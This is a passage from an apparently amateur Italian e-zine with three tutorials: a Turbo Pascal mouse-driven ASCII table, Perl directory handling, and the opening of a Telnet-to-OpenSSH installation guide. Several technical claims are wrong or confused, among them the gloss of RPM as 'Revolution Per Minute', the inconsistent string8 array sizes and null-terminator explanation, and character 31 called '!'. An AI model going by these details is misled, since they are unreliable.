THEN write(' '); end; gotoxy(col,rig+alt-1); IF modo=1 THEN write(' '); write(chr[3]); FOR n:=1 to (lar-w) do IF (tipo=5) THEN write ('ß') ELSE write(chr[5]); IF modo=1 THEN begin write(chr[4]); STAchr(rig+alt-1,col+lar-1,txt,sfo,' '); end ELSE STAchr(rig+alt-1,col+lar-1,txt,sfo,chr[4]); gotoxy(1,1); END; -------------------------------------------------------------------------------- ----------- Ora la procedura CORNICE2 -------------------------------------------------------------------------------- ----------- PROCEDURE CORNICE2; PROCEDURE CORNICE2(RIG,COL,LAR,ALT,TXT,SFO,OMBP,OMBS,TIPO:INTEGER); VAR n,m:integer; chr:array[1..6] of char; BEGIN CASE tipo OF 1: chr:=('Ú¿ÀÙij'); 2: chr:=('ɻȼͺ'); 3: chr:=('******'); 4: chr:=('úúúúúú'); 5: chr:=('ÜÜßßúÛ'); 6: chr:=(''); end; textcolor(txt);textbackground(sfo); gotoxy(col,rig); write(' ',chr[1]); FOR n:=1 to lar-4 do IF (tipo=5) THEN write ('Ü') ELSE write(chr[5]); write(chr[2],' '); FOR m:=1 to alt-2 do begin gotoxy(col,rig+m); write(' ',chr[6]); FOR n:=1 to lar-4 do write(' '); write(chr[6],' '); Attrchr(rig+m,lar+col, ombP,ombS); Attrchr(rig+m,lar+col+1,ombP,ombS); end; gotoxy(col,rig+alt-1); write(' ',chr[3]); FOR n:=1 to (lar-4) do IF (tipo=5) THEN write ('ß') ELSE write(chr[5]); write(chr[4]); STAchr(rig+alt-1,col+lar-1,txt,sfo,' '); IF lar<80 THEN Attrchr(rig+alt-1,lar+col, ombP,ombS); IF lar<79 THEN Attrchr(rig+alt-1,lar+col+1,ombP,ombS); IF lar=79 THEN lar:=lar-1; IF lar=80 THEN lar:=lar-2; FOR n:=1 to (lar) do Attrchr (rig+alt,col+n+1, ombP,ombS); END; -------------------------------------------------------------------------------- ----------- Ecco, ora che abbiamo chiarito come funzionano 'ste procedure, facciamoci una finestra tipo l'edit del dos uses giobe,crt; begin textattr:=0; clrscr; cornice1(2,1,80,23,lightgray,blue,1,0); gotoxy(1,1); textcolor(lightgray); textbackground(black); write(' File Modifica Cerca Visualizza Opzioni Guida'); gotoxy(1,25); write(' F1=Guida ¦ Riga:1 Colonna:1'); end. ok, abbiamo applicato la grafica, ora proviamo ad usare il mouse le procedure e funzioni del mouse che ci interessano sono: VediMouse, ViaMouse, SetMouse, BoxMouse, Mouse, rigMou, colMou, AspettaKeyClick VediMouse fa apparire il cursore nella nostra console (perché noi possiamo vederlo, è necessario mettere a tutto schermo la console, altrimenti il cursore rimarrà in modalità windows) ViaMouse fa sparire il cursore dalla console SetMouse inizializza il mouse alle coordinate X e Y della console, se Pixel è falso, resta nella modalità console, se è vero, nella modalità video (graph) da quanto ho capito io BoxMouse forza il cursore PIXEL a stare tra le coordinate COL1,RIG1 e COL2,RIG2 Mouse vede se il mouse è installato, (FALSE = installato, TRUE = non installato) rigMou prende la coordinata Y di dove è stato premuto il tasto del mouse (per "il tasto" intendo uno qualsiasi dei tasti) colMou prende la coordinata X di dove è stato premuto il tasto del mouse (idem) AspettaKeyClick aspetta che arrivi un'input nel computer, dove l'input può essere sia un TASTO che un click del mouse (PULS) dove andranno memorizzati i tasti premuti altre procedure utili a noi ma che non c'entrano col mouse sono: VIACUR RIPCUR VIACUR toglie il cursore (non del mouse, ma di testo) dalla console, così senza far vedere la barra che lampeggia RIPCUR invece lo rimette e all'improvviso... un progetto (mitico FLNDG!) -------------------------------------------------------------------------------- ----------- uses giobe,crt; var key:char; puls:word; begin viacur; if not(mouse) then halt; textattr:=0; clrscr; cornice1(1,1,80,25,lightgray,blue,2,0); cornice2(11,35,10,3,black,lightgray,7,0,1); gotoxy(37,12); write('ESCI'); vedimouse; repeat aspettakeyclick(key,puls); until ((rigMou(false)=11) or (rigmou(false)=12) or (rigmou(false)=13)) and ((colmou(false)=35) or (colmou(false)=36) or (colmou(false)=37) or (colmou(false)=38) or (colmou(false)=39) or (colmou(false)=40) or (colmou(false)=41) or (colmou(false)=42) or (colmou(false)=43) or (colmou(false)=44) or (colmou(false)=45) ); viamouse; ripcur; end. -------------------------------------------------------------------------------- ----------- v'as capì? è troppo una figata, capite così che farvi un programma tipo un altro EDIT non ci vuole assolutamente niente la tabella ASCII che vi sto facendo infatti è fatta col mouse, in turbo pascal, niente di tanto complicato CONCLUSIONE ~~~~~~~~~~~ Ringrazio ancora una volta Giorgio Ober prima di tutti, www.giobe2000.it poi, altri tencs to HACKHERTZ (prima di tutti) perché è un mito Graftal perché mi ha corretto il tutorial Mithenks perché mi ha aiutato a fare il progetto lordlothar perché ha partecipato al crypter e a tanti altri progetti e perché sono degli amici, e li ringrazio di esistere Bien, this is all punks! Byezz Eimiar - 7H3 N4M3 WR073 0N 7H3 5M0K3 Fine del tutorial... che ti leggi ancora?!? +--------------------------------------------------------------[open the file]-+ |[ CODING ] | |-- Tabelle ascii sotto dos con l'uso del mouse | |-- Eimiar | | _________________________________________________________| |____________________/ MUSICA ASCOLTATA: - MUDVAYNE (THE END OF ALL THINGS TO COME) [ALBUM] Questo programma richiede la libreria GIOBE.TPU per funzionare, la trovate negli allegati... oppure potete scaricarla dal sito www.giobe2000.it Eccoci qua per un tutorial sulla costruzione della tabella ASCII, che non ci vuole poi così tanto a farla... Le uniche "difficoltà" che sono venute fuori durante la scrittura del progetto, sono: - LE PROCEDURE DI TRASFORMAZIONE DA NUMERI A STRINGA (BINARIO, ESADECIMALE E DECIMALE) - IL CONTROLLO DI TEXTATTR - LA SCRITTURA DEI SINGOLI CARATTERI (I WRITE :D CHE SONO STATI SOSTITUITI CON STACHR) - IL CALCOLO DEL CARATTERE ASCII SENZA USARE "IF-THEN" E basta... facciamovi vedere lu prugettu ------------------------------------------------------------------------------ {SABATO 29 NOVEMBRE} program ASCIITAB; uses crt,giobe; type string2 = string[2]; type string3 = string[3]; type string8 = array[0..8] of char; var str:string2; str2:string3; str3:string8; byt:byte; tasto:char; pulsa:word; procedure bin(var c:string8; a:byte); var b,d:byte; begin for d:=7 downto 0 do begin b:=a mod 2; if b=0 then c[d]:='0' else c[d]:='1'; a:=a div 2; end; end; procedure decim(var c:string3; a:byte); const decchar:array[0..9] of char = '0123456789'; var b,d:byte; begin b:=0; d:=0; if a < 100 then b:=a; if a >= 100 then b:=a-100; if a >= 200 then b:=a-200; d:=b; b:=b div 10; if d >= 90 then d:=d-90; if d >= 80 then d:=d-80; if d >= 70 then d:=d-70; if d >= 60 then d:=d-60; if d >= 50 then d:=d-50; if d >= 40 then d:=d-40; if d >= 30 then d:=d-30; if d >= 20 then d:=d-20; if d >= 10 then d:=d-10; c:=decchar[a div 100]+decchar[b]+decchar[d]; end; procedure hex(var c:string2; a:byte); const hexchar:array[0..$F] of char = '0123456789ABCDEF'; begin c:=Hexchar[a shr 4]+hexchar[a and $F]; end; begin textattr:=0; clrscr; viacur; riempi3(25,25,white,blue,' '); riempi3(1,1,white,blue,' '); textattr:=$1F; gotoxy(40-(length('CLICCA SUL CARATTERE PER VEDERE I SUOI CORRISPONDENTI ASCII E HEX') DIV 2),25); write('CLICCA SUL CARATTERE PER VEDERE I SUOI CORRISPONDENTI ASCII E HEX'); gotoxy(40-(length('PER USCIRE CLICCA SULLA X') DIV 2),1); write('PER USCIRE CLICCA SULLA X'); cornice1(8,24,34,10,black,lightgray,2,0); gotoxy(54,8); write('[ ]'); gotoxy(55,8); textcolor(green); write('X'); textcolor(black); cornice2(20,1,15,3,black,lightgray,7,0,1); cornice2(20,64,15,3,black,lightgray,7,0,1); cornice2(20,33,15,3,black,lightgray,7,0,1); gotoxy(6,20); write('BYTE'); gotoxy(37,20); write('BINARY'); gotoxy(70,20); write('HEX'); gotoxy(24,9); for byt:=0 to 31 do begin stachr(wherey,wherex+1,black,lightgray,chr(byt)); gotoxy(wherex+1,wherey); end; gotoxy(24,10); for byt:=32 to 63 do begin stachr(wherey,wherex+1,black,lightgray,chr(byt)); gotoxy(wherex+1,wherey); end; gotoxy(24,11); for byt:=64 to 95 do begin stachr(wherey,wherex+1,black,lightgray,chr(byt)); gotoxy(wherex+1,wherey); end; gotoxy(24,12); for byt:=96 to 127 do begin stachr(wherey,wherex+1,black,lightgray,chr(byt)); gotoxy(wherex+1,wherey); end; gotoxy(24,13); for byt:=128 to 159 do begin stachr(wherey,wherex+1,black,lightgray,chr(byt)); gotoxy(wherex+1,wherey); end; gotoxy(24,14); for byt:=160 to 191 do begin stachr(wherey,wherex+1,black,lightgray,chr(byt)); gotoxy(wherex+1,wherey); end; gotoxy(24,15); for byt:=192 to 223 do begin stachr(wherey,wherex+1,black,lightgray,chr(byt)); gotoxy(wherex+1,wherey); end; gotoxy(24,16); for byt:=224 to 255 do begin stachr(wherey,wherex+1,black,lightgray,chr(byt)); gotoxy(wherex+1,wherey); end; vedimouse; boxmouse(8,25,16,56,false); setmouse(false,25,9); repeat tasto:=chr(0); pulsa:=100; aspettakeyclick(tasto,pulsa); if (tasto<>'') and (tasto<>chr(0)) then begin gotoxy(11,21); decim(str2,ord(tasto)); write(str2); gotoxy(75,21); hex(str,ord(tasto)); write(str); gotoxy(38,21); bin(str3,ord(tasto)); write(str3); end else if ((rigmou(false)>=9) and (rigmou(false)<=16)) and ((colmou(false)>=25) and (colmou(false)<=56)) then begin gotoxy(11,21); decim(str2,(colmou(false)-25)+(32*(rigmou(false)-9))); write(str2); gotoxy(75,21); hex(str,(colmou(false)-25)+(32*(rigmou(false)-9))); write(str); gotoxy(38,21); bin(str3,(colmou(false)-25)+(32*(rigmou(false)-9))); write(str3); end; until ((rigmou(false)=8) and (colmou(false)=55) and (pulsa<>100)); viamouse; gotoxy(80,25); ripcur; end. ------------------------------------------------------------------------------ Cominciamo con l'analizzare le variabili e i tipi che ci servono: TYPE STRING2 = STRING[2]; TYPE STRING3 = STRING[3]; TYPE STRING8 = ARRAY[0..6] OF CHAR; vi chiederete: -Perché creare questi tipi?- semplice... Nei parametri delle prime procedure (BIN-DECIM-HEX) come tipo del primo parametro non potete mettere -STRING[2]- o -STRING[3]- o -ARRAY[0..6] OF CHAR- semplicemente perché questi non sono tipi (string[2]...) ma sono semplicemente degli aggregati, ad esempio, string8 è un aggregato di 8 caratteri (poi spiego) string2 è una stringa con un massimo di 2 caratteri, e lo stesso vale per string3... lo string8 vi chiederete perché ha 8 caratteri... ebbene sì, ragazzuoli miei, mo vi spiego: Siccome in molti linguaggi (credo tutti) esistono le stringhe terminate da carattere nullo, se noi mettiamo ARRAY[0..6] OF CHAR otteniamo le caselle [0],[1],[2],[3],[4],[5],[6] e [7] perché il settimo serve a mettere il carattere nullo (o terminatore della stringa) chiaramente, è possibile modificare anche questo carattere nullo... solo che con l'uso di READ o READLN non potete modificarlo v'as capì? Eggzample! ------------------------------------------------------------------------------ uses crt; type string8 = array[0..6] of char; var INPUTSTR:string8; begin textattr:=0; clrscr; textattr:=$07; write('INSERISCI QUA LA STRINGA DI 7 CARATTERI (STRING8): '); read(INPUTSTR); gotoxy(40-(length('LA STRINGA DI 7 CARATTERI È') div 2),12); writeln('LA STRINGA DI 7 CARATTERI È'); gotoxy(40-(length(INPUTSTR) div 2),13); writeln(INPUTSTR); end. ------------------------------------------------------------------------------ se voi metterete come input "0123456789" otterrete scritto "012345" v'as capì? in poche parole è un buffer overflow di POCHISSIMO... (un byte) quindi, non causa nessun problema ora non sto qua a spiegarvi cos'è un buffer overflow perché non basterebbero 5 tutorial per spiegarvelo le variabili: VAR STR:STRING2; STR2:STRING3; STR3:STRING8; BYT:BYTE; TASTO:CHAR; PULSA:WORD; le prime tre ci servono per far vedere nelle tre CORNICE2 "cornice2(20,1,15,3,black,lightgray,7,0,1);cornice2(20,64,15,3,black,lightgray,7 ,0,1);cornice2(20,33,15,3,black,lightgray,7,0,1);" il valore decimale, binario ed esadecimale dell'ASCII schiacciato BYT:BYTE; ci serve come contatore per i cicli for e per usare lo STACHR (GIOBE.TPU) (che appunto stampa CHR(BYT) ) TASTO e PULSA ci servono per la procedura ASPETTAKEYCLICK (GIOBE.TPU) le procedure: PROCEDURE BIN(VAR C:STRING8; A:BYTE); {il VAR prima di C vuol dire che ogni valore va salvato nella variabile globale} VAR B,D:BYTE; BEGIN FOR D:=7 DOWNTO 0 DO {dal carattere nullo fino a 0 fai} BEGIN B:=A MOD 2; {B è uguale al resto del rapporto A/2} IF B=0 THEN C[D]:='0' {se non c'è resto, allora metti uno '0' a Desimo carattere di C} ELSE C[D]:='1'; {se invece c'è resto, allora metti un '1'} A:=A DIV 2; {dividi A per 2 (divisione intera} END; END; la procedura BIN trasforma il numero A:BYTE in un numero binario (STRING8) [vi ricordate il progetto che trasformava i files in binario? ebbene, questo è il calcolo matematico, senza fare 255 IF :D ] vediamo un po': PROCEDURE DECIM(VAR C:STRING3; A:BYTE); CONST DECCHAR:ARRAY[0..9] OF CHAR = '0123456789'; VAR B,D:BYTE; BEGIN B:=0; D:=0; IF A < 100 THEN B:=A; IF A >= 100 THEN B:=A-100; IF A >= 200 THEN B:=A-200; D:=B; B:=B DIV 10; IF D >= 90 THEN D:=D-90; IF D >= 80 THEN D:=D-80; IF D >= 70 THEN D:=D-70; IF D >= 60 THEN D:=D-60; IF D >= 50 THEN D:=D-50; IF D >= 40 THEN D:=D-40; IF D >= 30 THEN D:=D-30; IF D >= 20 THEN D:=D-20; IF D >= 10 THEN D:=D-10; C:=DECCHAR[A DIV 100]+DECCHAR[B]+DECCHAR[D]; END; la procedura DECIM è semplice, ve la potete studiare da soli PROCEDURE HEX(VAR C:STRING2; A:BYTE); CONST HEXCHAR:ARRAY[0..$F] OF CHAR = '0123456789ABCDEF'; BEGIN C:=HEXCHAR[A SHR 4]+HEXCHAR[A AND $F]; END; la procedura HEX invece è uguale identica a quella della lezione scorsa (LEZIONE 4) ora tralasciamo tutto fino a gotoxy(40-(length('CLICCA SUL CARATTERE PER VEDERE I SUOI CORRISPONDENTI ASCII E HEX') DIV 2),25); che sono solo operazioni grafiche gotoxy(40-(length('CLICCA SUL CARATTERE PER VEDERE I SUOI CORRISPONDENTI ASCII E HEX') DIV 2),25); perche quel calcolo per fare un semplice gotoxy? semplice, per mettere al centro la frase... poi, arriviamo alla costruzione della finestra principale: cioè questa +-----------------------------[X]+ ¦  ¤§¦ ¦ !"#$%&'()*+,-./0123456789:;<=>?¦ ¦@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_¦ ¦`abcdefghijklmnopqrstuvwxyz{|}~¦ ¦ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø׃¦ ¦áíóúñѪº¿®¬½¼¡«»___¦¦ÁÂÀ©¦¦++¢¥+¦ ¦+--+-+ãÃ++--¦-+¤ðÐÊËÈiÍÎÏ++__¦Ì_¦ ¦ÓßÔÒõÕµþÞÚÛÙýݯ´­±_¾¶§÷¸°¨·¹³²_ ¦ +--------------------------------+ la seconda riga è fittizia, perché altrimenti, visto col NOTEPAD cambierebbe tutto... in pratica, ho un po' imitato le finestre di windows (la X per uscire) dopo la costruzione della finestra principale (tutta con lo stachr tranne la cornice1) dobbiamo far vedere il mouse VEDIMOUSE; e in base a dove clicchiamo, dobbiamo far apparire nelle tre finestre DEC - BINARY - HEX i loro corrispondenti valori ecco qua: repeat tasto:=chr(0); {azzeriamo il tasto} pulsa:=100; {azzeriamo (mah) il pulsante del mouse} aspettakeyclick(tasto,pulsa); {prendiamo input o dal mouse o dalla tastiera} if (tasto<>'') and (tasto<>chr(0)) then {se tasto è diverso da chr(0) allora} begin gotoxy(11,21); {vai a 11,21 (cornice DEC)} decim(str2,ord(tasto)); {fai diventare l'ORD(TASTO) in decimale nella str2} write(str2); {scrivi STR2 nella cornice DEC} gotoxy(75,21); {vai a 75,21 (cornice HEX)} hex(str,ord(tasto)); {fai diventare ORD(TASTO) in HEX nella str} write(str); {scrivi STR nella cornice HEX} gotoxy(38,21); {vai a 38,21 (cornice BINARY)} bin(str3,ord(tasto)); {trasforma ORD(TASTO) in binario nella str3} write(str3); {scrivi STR3 nella cornice BINARY} end else if ((rigmou(false)>=9) and (rigmou(false)<=16)) and ((colmou(false)>=25) and (colmou(false)<=56)) then begin {altrimenti, se è stato premuto il mouse} gotoxy(11,21); {fai le stesse cose di prima ma...} decim(str2,(colmou(false)-25)+(32*(rigmou(false)-9))); write(str2); {fai diventare in decimale (colmou(false)- 25)+(32*(rigmou(false)-9))} gotoxy(75,21); hex(str,(colmou(false)-25)+(32*(rigmou(false)-9))); write(str); gotoxy(38,21); bin(str3,(colmou(false)-25)+(32*(rigmou(false)-9))); write(str3); end; until ((rigmou(false)=8) and (colmou(false)=55) and (pulsa<>100)); v'as capì? il (colmou(false)-25)+(32*(rigmou(false)-9)) l'ho fatto spuntare fuori dopo un arrovellamento durato almeno mezz'ora colmou(false)-25 perché siamo alla 25esima riga (il primo char a 25,9 = 0) (32*(rigmou(false)-9)) perché su ogni riga ci sono 32 caratteri, e siamo alla riga 9 quindi, a 26,10 otterremo: (26-25)+(32*(10-9)) = 1+(32*1) = 1+32 = 33 v'as capì? (il carattere 31 è '!') il mistero si è schiarito un po'... avete le idee chiare? bene... Thanks to Giorgio Ober e il suo sito www.giobe2000.it HACKHERTZ (mi spiace... Giò ti ha superato [non è che siete la stessa persona?]) Graftal (pasghetti all'aceto amico mio!) lordlothar (mi vogliono uccidere... ma abbonati ad Alitalia!!!) Fucks to gringoBLU (il pezzente odia il mio saluto (Blééééééééééé) bien, this is all punks! byezz Eimiar P.S. Per qualsiasi cosa, jnsmith_86@hotmail.com ariveduorci adio (mitico max bunker!) +--------------------------------------------------------------[open the file]-+ |[ CODING ] | |-- Perl e il dirhandling | |-- f4ke^ | | _________________________________________________________| |____________________/ Frase del giorno: Io sono un uomo invisibile. Sono semplicemente invisibile perche' la gente si rifiuta di vedermi. E poi e' successo... si e' aperta una porta su un mondo.. correndo sulle linee del telefono, come l'eroina nelle vene di un drogato... +--------SO'MMARIO!---------------+ |Intro (fake). | |------------- | |Intro (vera). | |------------- | |Aprire e "leggere" una directory.| |---------------------------------| |Cambiare directory. | |------------------- | |Creare directory. | |----------------- | |Rimuovere directory. | |-------------------- | |Programmino conclusivo. | +---------------------------------+ Intro (fake). ------------- Salve salve salve. Nel numero precedente vi ho parlato della gestione in perl di normali file, percio' mi sembra piu' che onesto completare l'argomento parlando anche della gestione perl delle directory. Non so in quanti abbian effettivamente letto la mia lezione precedente e a dirla tutta non m'importa. In ogni caso continuo ugualmente questa serie mensile (?) di lezioncine, che servono piu' a me che a voi. Voglio cmq puntualizzare che f4ke^ non esiste, e' un'entita' a se', che svolazza in internet in maniera incorporea. C'e' e non c'e', vede tutto ma non vede nulla. E' su IRC ma non e' su IRC, scrive email ma non ha un'email account ... The Essence ... Ergo, anche se voleste, non potrete mai parlare con me :-) Intro (vera). ------------- B-e-n-v-e-n-u-t-i alla lettura di questo nuovo tutorial :D Come al solito ho piazzato piu' esempi che stralci teorici e intendo continuare cosi', dato che secondo me si capisce meglio. Piu' pratica == immergersi subito e programmare in 10 secondi, e' il sogno di tutti :D In questo tutorial, come ho gia' detto e sicuramente avrete capito, parleremo della gestione perl delle directory e di tutte le operazioni che possiamo compiere sulle directory, di modo che, avendo anche le basi della gestione file, potete iniziare a scrivervi qualcosina da voi, magari tool che vi aiutino a sistemare le dir con 300 file in disordine! Non so, un programmino che crea le dir Testi, C, Perl, Zip, che legga le estensioni dei file in una directory e in base all'estensione li sposta nella dir corrispondente. Boh questa e' un'idea che mi e' venuta in mente ora, forse un pochino avanzata se siete alle prime armi, ma tutto e' possibile, basta avere un po' di buona volonta' e sfruttare la gente di #perl di Azzurranet :) Buona lettura :) Aprire e "leggere" una directory. --------------------------------- Per addentrarci nella gestione directory preferisco partire da uno script d'esempio: --- Taglia qui --- #!/usr/bin/perl # # LD.pl # by f4ke^ # opendir(prova, '/home/user/file/') or die("Errore di apertura: $!\n"); @file = readdir prova; print "@file\n"; close(prova); --- Fuori uno --- Addentriamoci ora nella spiegazione passo passo di questo piccolo script. Cerco di evitare di commentare il codice all'interno del sorgente per evitare confusione o casini vari. Linea1# mediante opendir() indichiamo come primo argomento il nome del gestore della dir che vogliamo aprire, in questo caso il " directoryhandle" e' -prova-, come secondo argomento mettiamo il path vero e proprio della nostra dir. Se questa operazione fallisce ci verra' mostrata la tipologia dell'errore. Linea2# con readdir imponiamo al nostro programma di leggere il directoryhandle che, come abbiamo visto prima, e'chiamato "prova" ed e' assegnato a "/home/user/file/". Questa operazione di lettura la includiamo nell'array @file . Linea3# printiamo il contenuto di @file (vedi la linea sopra se non hai capito). Linea4# chiudiamo il nostro directoryhandle, percio' la directory stessa. Quindi riassumendo le operazioni BASILARI da eseguire sono: +Apertura directory ----> +Lettura directory ----> +Chiusura directory Poi naturalmente possiamo inserire dell'altro, io ci ho piazzato un print (ovvio) pero' si possono fare molte altre operazioni aggiuntive. Gia' che siamo in tema, vediamoci un altro scriptino veloce che faccia appunto quello che sto dicendo.. --- Taglia qui --- #!/usr/bin/perl -w # # Cerca.pl # by f4ke^ # print "Estensione da cercare: "; $estensione=; chomp $estensione; opendir(prova, '/home/usr/file') or die("Errore di apertura: $!\n"); @file = grep(/$estensione/, readdir prova); print "@file\n"; closedir(prova); --- Fuori due --- Oh finalmente ci avviciniamo a piccoli passi ad esempi riguardanti la programmazione vera e propria, mediante programmini semplici ma utili :p. Questo vi chiede di inserire l'estensione dei file che si vogliono cercare in /home/usr/file dopodiche' filtrera' la vostra richiesta tra tutti i file presenti in quella dir e printera' solo quelli che ci interessano, un po' come fare ls *.estensione . Vediamo in maniera dettagliata il codice: Linea1# un semplice print che ci chiede di inserire l'estensione da cercare Linea2# inseriamo manualmente il tipo di estensione che ci serve e lo assegnamo allo Linea3# scalare $estensione, quindi lo 'selezioniamo' con chomp Linea4# apre in lettura la dir /home/usr/file e crepa se ci sono errori in apertura :) Linea5# sapete usare grep()? No? Beh, la sintassi che usiamo noi e' grep estensione lista. 'Estensione' e' un parametro che prendiamo direttamente dallo scalare omonimo e la lista e' il path in cui cercare. In questo caso diciamo a grep di cercare l'estensione che vogliamo leggendo la dir che ha come dirhandle "prova", percio' /home/usr/file, dopodiche' grep esegue la sua ricerca, confrontando l'estensione scelta da noi con quelle dei file presenti in quella dir: quando trova file che combaciano, li salva in un array chiamato @file Linea6# printiamo il contenuto dell'array @file, che appunto contiene la lista dei file che ci interessano Linea7# chiude la directory prova. Cambiare directory. ------------------- Qui c'e' veramente poco da dire. Partiamo comunque col dire che la funzione perl che ci permette di cambiare directory e' chiamate chdir, ossia changedir e la sintassi e': chdir directory; Semplice no? E' come usare cd directory, stessa cosa. Questa funzione ci puo' tornare utile se ad esempio dobbiamo usare sysopen() per aprire un file. sysopen cerca il file nella dir corrente, a meno che non ci piazzi il path completo, pero' si potrebbe anche cambiare prima directory con chdir e poi aprire direttamente il file. E' l'esempio piu' stupido che mi e' venuto in mente ora, pero' vabbe', penso sia chiaro. Creare directory. ----------------- Avete presente mkdir? Bene, la funzione di creazione directory in perl e' uguale, con un parametro aggiuntivo: mkdir directory permessi; Esempio: mkdir file 0755; Non penso che debba fare un esempio... si capisce fin troppo bene come usare mkdir. Se volete ugualmente fare un test, settate due scalari con , uno contenente il nome della dir che volete creare, l'altro contenente i permessi da assegnare alla directory, dopodiche' create la directory usando mkdir($scalare1, $scalare2); Ok? Rimuovere directory. -------------------- Anche qui c'e' poco da dire. Indovinate come si chiama la funzione che ci permette di cancellare le directory? rmdir. Sintassi: rmdir directory; Devo aggiungere altro? Programmino conclusivo. ----------------------- Vediamo insieme un programma che ci lista il contenuto di una directory, elencando anche le flag di ogni file e le dimensioni in byte: --- Taglia qui --- #!/usr/bin/perl # # FDL.pl # by f4ke^ # print "Contenuti della dir corrente:\n"; opendir prova, "." or die "Errore di apertura: $!"; while ($_ = readdir(prova)) { next if $_ eq "." or $_ eq ".."; print $_, " " x (30-length($_)); print "d" if -d $_; print "r" if -r _; print "w" if -w _; print "x" if -x _; print "o" if -o _; print "\t"; print -s _ if -r _ and -f _; print "\n"; } --- Fuori tre --- Nell'output vedrete un elenco di file in questo ordine: nome file, attributi, lunghezza. Esempio: cazzo.pl rwxo 500 Significa che il file si chiama cazzo.pl, gli attributi sono rwxo ed e' di 500byte. Parliamo meglio degli attributi vedendo singolarmente cosa significano: r = file leggibile w = file scrivibile x = file eseguibile o = sono l'owner di quel file d = il file e' una directory Dunque, innanzitutto apriamo la directory prova e mediante $_ esaminiamo un file alla volta: while ($_ = readdir(prova)) { Poi facciamo in modo che le dir . e .. non vengano analizzate, dato che sono directory speciali che si rifanno alla directory corrente e a quella precedente: next if $_ eq "." or $_ eq ".."; Poi printiamo la lista dei file ordinandoli in colonne ben precise, utilizzando spazi da 30: print $_, " " x (30-length($_)); Dopodiche' controlliamo gli attributi dei vari file utilizzando i filehandle dei filetests, ossia $_ per il primo e _ per i seguenti: print "d" if -d $_; print "r" if -r _; print "w" if -w _; print "x" if -x _; print "o" if -o _; Infine printiamo le dimensioni del file: print -s _ if -r _ and -f _; E per oggi e' veramente tutto :) Alla prossima. +--------------------------------------------------------------[open the file]-+ |[ LINUX ] | |-- Telnet cede il posto a SSH e all'openSSH | |-- Cyberdude | | _________________________________________________________| |____________________/ Internet, la fitta rete! Internet, la fitta rete di interconnessione tra i computer grazie a sistemi di trasmissione dati, originariamente nato per fornire un supporto alla ricerca e all’educazione, è basato su protocolli . Un protocollo è l’insieme di regole che governano il formato e il tempo dello scambio di informazioni per la comunicazione tra i sistemi. Il protocollo fondamentale per la comunicazione in internet è il TCP/IP : TCP (Trasmission Control Protocol) scompone le informazioni spedite in “pacchetti” (1500 byte) e vi aggiunge le informazioni necessarie per la loro successiva ri-unione IP (Internet Protocol) recapita i blocchi prima che il TCP riunisca i blocchi nell’ordine in cui erano. Un altro protocollo : il TELNET E’ un protocollo di comunicazione, un sistema per effettuare connessioni in emulazione di terminale su Internet. Ma con Telnet indichiamo anche il programma utilizzato per istaurare tale connessione. Una connessione Telnet è basata su un’architettura client-server ; Il client situato sulla macchina che stabilisce la connessione, invia la richiesta al server posto sulla macchina ricevente e si stabilisce la connessione. Informazioni necessarie per stabilire una connessione telnet sono : - Il nome della macchina alla quale vogliamo connetterci - La porta (la porta standard è la 23) Con telnet possiamo effettuare download e upload di file anche se tali opzioni sono un po’ imprevedibili. Il bisogno di sicurezza Tuttavia oggi giorno navigare in internet rappresenta un vero e proprio pericolo per i molti neo-computerizzati che si affacciano a questa realtà con poca esperienza alle spalle. Il pericolo rappresentato dalla figura del pirata informatico che tenta di rubare informazioni utili a se stesso dal malcapitato che vi si imbatte. Di conseguenza a quanto detto, l’aspetto negativo del Telnet scaturisce dalla domanda : Posso considerare i dati trasmessi via telnet sicuri? Purtroppo in linee generali la risposta è no; tale pericolo è dovuto dalla mancata criptazione dei dati trasmessi. Ne scaturisce quindi che qualunque sysop sul cui computer sta transitando una informazione, questo potrebbe leggere le informazioni da noi trasmesse. La sicurezza è divenuta oggi la richiesta più importante per internet , ed è da tale domanda che sono nate poi versioni più sicure di programmi utilizzati per le comunicazioni con macchine remote. La SSH è stata realizzata proprio per risolvere tale problema. La SECURE SHELL e l’implementazione OpenSSH Le Secure Shell o semplicemente SSH è stato un passo in avanti nella sicurezza di internet siccome consente di criptare tutto il traffico di dati sviluppato tra le macchina, comprese le password. In questo articolo centreremo la nostra attenzione su OpenSSH una versione free del protocollo SSH. L’ OpenSSH sostituisce i comandi telnet, ftp, rlogin, rsh e rcp con tool di connettività sicuri e criptati per il traffico di rete. OpenSSH supporta le versioni 1.3, 1.5 e 2 del protocollo SSH. E’ possibile trovare l’ultima versione disponibile sul sito www.openssh.com scaricabile sia in formato binario RPM (Revolution Per Minute: giri al minuto. Unità di misura della velocità meccanica di un disco rigido) sia in formato sorgente. Per scaricare i binari RPM ci interessano i file : · openssh-2.3.0p1-1.i386.rpm · openssh-clients-2.3.0p1-1.i386.rpm · openssh-server-2.3.0p1-1.i386.rpm · zlib-1.1.3-i386.rpm · openssl-0.9.5a-i386.rpm Oltre ai tre file opnessh notiamo zlib e openssl . Zlib è un programma ideato per costruire una libreria per la compressione dei dati. Sul sito www.freesoftware.com/pub/infozip/zlib è possibile scaricare anche il formato sorgente. OpenSSL è un altro open source che mira alla creazione di un toolkit per la realizzazione di : - TLS (Transport Layer Security) - SSL (Secure Socket Layer) - Altre librerie per la realizzazione di sistemi crittografati Il protocollo SSL è usato per trasmettere dati personali o informazioni su carte di credito. Le pagine Web che richiedono un link SSL iniziano con https: anziché con http: Sul sito www.openssl.org è possibile scaricare anche il formato sorgente del programma Istallazione sulla Red Hat Iniziamo con l’istallazione del programma OpenSSL : Se abbiamo il pacchetto in formato RPM alla riga di comando digitiamo rpm -ivh openssl-0.9.5a-i386.rpm Se invece abbiamo scaricato il file tar.gz dovremo scrivere tar xzvf openssl-0.9.5a.tar.gz cd openssl-0.9.5a ./configure make su -c "make install" L’istallazione del programma Zlib invece si sviluppa nel seguente modo: Se abbiamo il pacchetto in formato RPM alla riga di comando digitiamo rpm -ivh zlib-1.1.3-i386.rpm Se invece abbiamo scaricato il file tar.gz dovremo scrivere tar xzvf zlib-1.1.3.tar.gz cd zlib-1.1.3 ./configure make su -c "make install" Adesso manca solo l’istallazione dell’ OpenSSH Per il pacchetto in formato RPM rpm -ivh openssh-2.3.0p1-1.i386.rpm rpm -ivh openssh-clients-2.3.0p1-1.i386.rpm rpm -ivh openssh-server-2.3.0p1-1.i386.rpm Per il pacchetto in file tar.gz tar xzvf openssh-2.3.0p1.tar.gz cd openssh-2.3.0p1 ./configure --sysconfdir=/etc/ssh Una volta istallati i fondamentali passiamo alla configurazione. La cartella 